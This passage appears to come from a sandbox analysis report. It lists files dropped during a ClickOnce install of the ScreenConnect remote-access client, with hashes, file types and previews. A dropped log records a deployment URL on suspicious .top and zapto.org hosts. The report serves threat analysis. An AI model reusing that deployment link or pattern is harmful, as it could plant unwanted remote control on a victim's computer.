Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\S5L60WDT.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (625), with CRLF line terminators
Category:	dropped
Size (bytes):	15036
Entropy (8bit):	3.8088109369435084
Encrypted:	false
SSDEEP:	192:84JqHzST41Ua+4JqHzSg714JqHzSjoII+43LEv:8FqKUtFR71F4oIRAA
MD5:	7A9B9539BEF3F9AC1B7D821B2E2B5BB1
SHA1:	DBF738FED3A374EC4D829A9962B034B785DAF19F
SHA-256:	0814809D9E213F14DD0B5F0B2C208D2C1627475D3DECE91E9C69B2F1B3DB64F2
SHA-512:	6A47177542635BA23C0B5E99D2D7FD02252817A23DD15E3645782FB0D554D688F0E4C9066626956E0AD575E3AB5BE68CFC28422E0352C31F477AC33D7FCC66A5
Malicious:	false
Preview:	..P.L.A.T.F.O.R.M. .V.E.R.S.I.O.N. .I.N.F.O.......W.i.n.d.o.w.s. .......:. .1.0...0...1.9.0.4.5...0. .(.W.i.n.3.2.N.T.).......C.o.m.m.o.n. .L.a.n.g.u.a.g.e. .R.u.n.t.i.m.e. ...:. .4...0...3.0.3.1.9...4.2.0.0.0.......S.y.s.t.e.m...D.e.p.l.o.y.m.e.n.t...d.l.l. .....:. .4...8...4.2.7.0...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.C.......c.l.r...d.l.l. .......:. .4...8...4.5.1.5...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.C.......d.f.d.l.l...d.l.l. .......:. .4...8...4.2.7.0...0. .b.u.i.l.t. .b.y.:. .N.E.T.4.8.R.E.L.1.L.A.S.T._.C.......d.f.s.h.i.m...d.l.l. .......:. .1.0...0...1.9.0.4.1...3.0.0.0.0. .(.W.i.n.B.u.i.l.d...1.6.0.1.0.1...0.8.0.0.).........S.O.U.R.C.E.S.......D.e.p.l.o.y.m.e.n.t. .u.r.l.......:. .h.t.t.p.s.:././.v.o.i.c.e.m.a.i.l.-.l.a.k.e.l.e.f.t...t.o.p./.B.i.n./.S.c.r.e.e.n.C.o.n.n.e.c.t...C.l.i.e.n.t...a.p.p.l.i.c.a.t.i.o.n.?.e.=.S.u.p.p.o.r.t.&.y.=.G.u.e.s.t.&.h.=.p.o.p.w.e.e.2...z.a.p.t.o...o.r.g.&.p.=.8.0.4.1.&.s.=.4.b.4.3.e.6.5.1.-.6.d.2.1.-.4.8.a.4.

C:\Users\user\AppData\Local\Temp\Deployment\8DBNCLWM.D2G\XA5GGV18.XVK.application

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (63847), with CRLF line terminators
Category:	dropped
Size (bytes):	117980
Entropy (8bit):	5.585720273564656
Encrypted:	false
SSDEEP:	3072:0aNIcT51/FXvMVNWfCXq9ymSm2o9HuzhJOvP:0FcfiVI8mt8vOvP
MD5:	4E152D84C20AB6330FF0CF47A9AF7C6D
SHA1:	018F32D833124056FCCFC200318542687D0E5565
SHA-256:	5668723C31F6726947DFEDA324B26D27F7E899647C22A4B1B2BEA935BA8A6B10
SHA-512:	2F3F6B397072B795C74C44F19012483E2785DDEE5A7F5D7E38C566EBC9A94AE084504061F697DB714B933B79824CBC6B08B7718536A19FA21D11AD8D0F8AFB79
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <assemblyIdentity name="ScreenConnect.WindowsClient.application" version="24.2.10.8991" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <description asmv2:publisher="ScreenConnect Software" asmv2:product="ScreenConnect Client" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <deployment install="false" trustURLParameters="tr

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Client.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.58476728626163
Encrypted:	false
SSDEEP:	3072:CxGtNaldxI5KY9h12QMusqVFJRJcyzvJquFzDvJXYrR:BtNalc5fr12QbPJYaquFGr
MD5:	AE0E6EBA123683A59CAE340C894260E9
SHA1:	35A6F5EB87179EB7252131A881A8D5D4D9906013
SHA-256:	D37F58AAE6085C89EDD3420146EB86D5A108D27586CB4F24F9B580208C9B85F1
SHA-512:	1B6D4AD78C2643A861E46159D5463BA3EC5A23A2A3DE1575E22FDCCCD906EE4E9112D3478811AB391A130FA595306680B8608B245C1EECB11C5BCE098F601D6B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z<..........." ..0.................. ... ....... .......................`............@.................................-...O.... .......................@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................a.......H...........(............^................................................(......(....^.(...........%...}....:.(......}....:.(......}....:.(......}......{....:.(......}.....0..A........(....s....%.~(...%-.&~'.....y...s....%.(...(...+(...+o"...o........0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.&...($....5..............s%....=.....0...........~...%-.&~).....\|...s&...%....(...+..~+...%-.&~).....}...s(...%.+...(...+.r9..

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Client.dll.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.147328807370198
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRigeP0AuWvSkcyMuscVSkTo:3FYZ8h9oYgI0AHHMrGTo
MD5:	2EA1AC1E39B8029AA1D1CEBB1079C706
SHA1:	5788C00093D358F8B3D8A98B0BEF5D0703031E3F
SHA-256:	8965728D1E348834E3F1E2502061DFB9DB41478ACB719FE474FA2969078866E7
SHA-512:	6B2A8AC25BBFE4D1EC7B9A9AF8FE7E6F92C39097BCFD7E9E9BE070E1A56718EBEFFFA5B24688754724EDBFFA8C96DCFCAA0C86CC849A203C1F5423E920E64566
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Client" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Client.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </depende

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.068776675019683
Encrypted:	false
SSDEEP:	1536:tA0ZscQ5V6TsQqoSDKh6+39QFVIl1KJhb8gp:q0Zy3wUOQFVQKJp
MD5:	0402CF8AE8D04FCC3F695A7BB9548AA0
SHA1:	044227FA43B7654032524D6F530F5E9B608E5BE4
SHA-256:	C76F1F28C5289758B6BD01769C5EBFB519EE37D0FA8031A13BB37DE83D849E5E
SHA-512:	BE4CBC906EC3D189BEBD948D3D44FCF7617FFAE4CC3C6DC49BF4C0BD809A55CE5F8CD4580E409E5BCE7586262FBAF642085FA59FE55B60966DB48D81BA8C0D78
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.T..........." ..0.............. ... ...@....... ..............................d.....@.................................e ..O....@.......................`..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................. ......H........n..@...................<.........................................(....^.(...........%...}....:.(......}....:.(......}....:.(......}.....~,...%-.&~+.....i...s....%.,...(...+vs....%.}P.........s....(....*....0...........s....}.....s....}...........}.......(&.....}.....(....&.()..........s....o.....()...~-...%-.&~+.....j...s....%.-...o ....s!...}.....s"...}.....s#...}...... .... 0u.........s....s=...}....... ..6........s....s=...}.....('...($............o%........

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.dll.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	5.084538887646832
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRzgeP0AuS+vSkcyMuscbEMuscuMuscVSkcf5bdTo:3FYZ8h9o9gI0AJCHMrTMr3MrGAXTo
MD5:	E11E5D85F8857144751D60CED3FAE6D7
SHA1:	7E0AE834C6B1DEA46B51C3101852AFEEA975D572
SHA-256:	ED9436CBA40C9D573E7063F2AC2C5162D40BFD7F7FEC4AF2BEED954560D268F9
SHA-512:	5A2CCF4F02E5ACC872A8B421C3611312A3608C25EC7B28A858034342404E320260457BD0C30EAEFEF6244C0E3305970AC7D9FC64ECE8F33F92F8AD02D4E5FAB0
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.ClientService" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.ClientService.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Windows" publicKeyToken="4b14c015c87c1ad8" versio

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95520
Entropy (8bit):	6.505346220942731
Encrypted:	false
SSDEEP:	1536:rg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgoT0HMM7CxM7:khbNDxZGXfdHrX7rAc6myJkgoT0HXN7
MD5:	361BCC2CB78C75DD6F583AF81834E447
SHA1:	1E2255EC312C519220A4700A079F02799CCD21D6
SHA-256:	512F9D035E6E88E231F082CC7F0FF661AFA9ACC221CF38F7BA3721FD996A05B7
SHA-512:	94BA891140E7DDB2EFA8183539490AC1B4E51E3D5BD0A4001692DD328040451E6F500A7FC3DA6C007D9A48DB3E6337B252CE8439E912D4FE7ADC762206D75F44
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.......................................@.................................p...x....`..X............L.. )...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...X....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Core.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.031251664661689
Encrypted:	false
SSDEEP:	6144:7+kYq9xDsxaUGEcANzZ1dkmn27qcO5noYKvKzDrzL9e7eOJsXziIYjVtkb+vbHq+:7SHtpnoVMlUbHbBaYLD
MD5:	16C4F1E36895A0FA2B4DA3852085547A
SHA1:	AB068A2F4FFD0509213455C79D311F169CD7CAB8
SHA-256:	4D4BF19AD99827F63DD74649D8F7244FC8E29330F4D80138C6B64660C8190A53
SHA-512:	AB4E67BE339BECA30CAB042C9EBEA599F106E1E0E2EE5A10641BEEF431A960A2E722A459534BDC7C82C54F523B21B4994C2E92AA421650EE4D7E0F6DB28B47BA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0..X...........r... ........... ...............................D....@..................................r..O....................................q..8............................................ ............... ..H............text....V... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................r......H........B......................xq........................................{:.....{;...V.(<.....}:.....};......0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...... ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D.....{E.....{F...V.(<.....}E.....}F....0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...... F.b# )UU.

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Core.dll.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.1303806593325705
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onR+geP0Au2vSkcVSkcMKzpdciSkTo:3FYZ8h9o4gI0A3GVETDTo
MD5:	2343364BAC7A96205EB525ADDC4BBFD1
SHA1:	9CBA0033ACB4AF447772CD826EC3A9C68D6A3CCC
SHA-256:	E9D6A0964FBFB38132A07425F82C6397052013E43FEEDCDC963A58B6FB9148E7
SHA-512:	AB4D01B599F89FE51B0FFE58FC82E9BA6D2B1225DBE8A3CE98F71DCE0405E2521FCA7047974BAFB6255E675CD9B3D8087D645B7AD33D2C6B47B02B7982076710
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Core" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Core.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System.Configuration" publicKeyToken="b03f5f7f11d50a3a" version="2.0.0.0" />.. </dependentAssem

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639136400085158
Encrypted:	false
SSDEEP:	24576:gx5x94kEFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:gx5xKkEJkGYYpT0+TFiH7efP
MD5:	9F823778701969823C5A01EF3ECE57B7
SHA1:	DA733F482825EC2D91F9F1186A3F934A2EA21FA1
SHA-256:	ABCA7CF12937DA14C9323C880EC490CC0E063D7A3EEF2EAC878CD25C84CF1660
SHA-512:	FFC40B16F5EA2124629D797DC3A431BEB929373BFA773C6CDDC21D0DC4105D7360A485EA502CE8EA3B12EE8DCA8275A0EC386EA179093AF3AA8B31B4DD3AE1CA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............" ..0..>...........]... ...`....... ..............................[.....@................................./]..O....`...............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............D..............@..B................c]......H.......t...h..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Windows.dll.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1982
Entropy (8bit):	5.057585371364542
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRbggeP0AuEvSkcyMuscVSkcHSkcf5bdcadccdcckdTo:3FYZ8h9oygI0AbHMrGQAXRTFgTo
MD5:	50FC8E2B16CC5920B0536C1F5DD4AEAE
SHA1:	6060C72B1A84B8BE7BAC2ACC9C1CEBD95736F3D6
SHA-256:	95855EF8E55A75B5B0B17207F8B4BA9370CD1E5B04BCD56976973FD4E731454A
SHA-512:	BD40E38CAC8203D8E33F0F7E50E2CAB9CFB116894D6CA2D2D3D369E277D93CDA45A31E8345AFC3039B20DD4118DC8296211BADFFA3F1B81E10D14298DD842D05
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Windows" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Windows.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </depen

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsBackstageShell.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	61216
Entropy (8bit):	6.31175789874945
Encrypted:	false
SSDEEP:	1536:SW/+lo6MOc8IoiKWjbNv8DtyQ4RE+TC6VAhVbIF7fIxp:SLlo6dccl9yQGVtFra
MD5:	6DF2DEF5E591E2481E42924B327A9F15
SHA1:	38EAB6E9D99B5CAEEC9703884D25BE8D811620A9
SHA-256:	B6A05985C4CF111B94A4EF83F6974A70BF623431187691F2D4BE0332F3899DA9
SHA-512:	5724A20095893B722E280DBF382C9BFBE75DD4707A98594862760CBBD5209C1E55EEAF70AD23FA555D62C7F5E54DE1407FB98FC552F42DCCBA5D60800965C6A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L............."...0.................. ........@.. ....................... ......3]....@.....................................O.......,............... )..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........S......................x.........................................(....^.(.......a...%...}....:.(......}....:.(......}....:.(......}........0..........(....(....(....(....r...p(....o....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s....( ...s....(!......0...........(".....(#.....($....s....%.o%...%.o&...%.o'...%s!...o(...%~....o)...}......(....o*...o+....(,.....@...%..(.....o-....s....}.....{...........s/...o0....s....}..

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsBackstageShell.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	601376
Entropy (8bit):	6.185921191564225
Encrypted:	false
SSDEEP:	6144:r+z3H0n063rDHWP5hLG/6XixJQm16Eod7ZeYai1FzJTZJ5BCEOG6y9QsZSc4F2/Q:qzEjrTWPMLBfWFaSdJ5BeG6xs6/yRod
MD5:	20AB8141D958A58AADE5E78671A719BF
SHA1:	F914925664AB348081DAFE63594A64597FB2FC43
SHA-256:	9CFD2C521D6D41C3A86B6B2C3D9B6A042B84F2F192F988F65062F0E1BFD99CAB
SHA-512:	C5DD5ED90C516948D3D8C6DFA3CA7A6C8207F062883BA442D982D8D05A7DB0707AFEC3A0CB211B612D04CCD0B8571184FC7E81B2E98AE129E44C5C0E592A5563
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{<............"...0.................. ... ....@.. .......................`.......x....@.................................=...O.... .................. )...@..........8............................................ ............... ..H............text...`.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................q.......H........H................................................................{D.....{E...V.(F.....}D.....}E......0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...... }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N.....{O.....{P...V.(F.....}O.....}P....0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...... 1.c. )UU.

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsClient.exe.genman

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2573
Entropy (8bit):	5.026361555169168
Encrypted:	false
SSDEEP:	48:3FYZ8h9o5gI0AsHMrAXQ3MrTMrRGTDBTo:1YiW4AjEvEJ
MD5:	3133DE245D1C278C1C423A5E92AF63B6
SHA1:	D75C7D2F1E6B49A43B2F879F6EF06A00208EB6DC
SHA-256:	61578953C28272D15E8DB5FD1CFFB26E7E16B52ADA7B1B41416232AE340002B7
SHA-512:	B22D4EC1D99FB6668579FA91E70C182BEC27F2E6B4FF36223A018A066D550F4E90AAC3DFFD8C314E0D99B9F67447613CA011F384F693C431A7726CE0665D7647
Malicious:	false
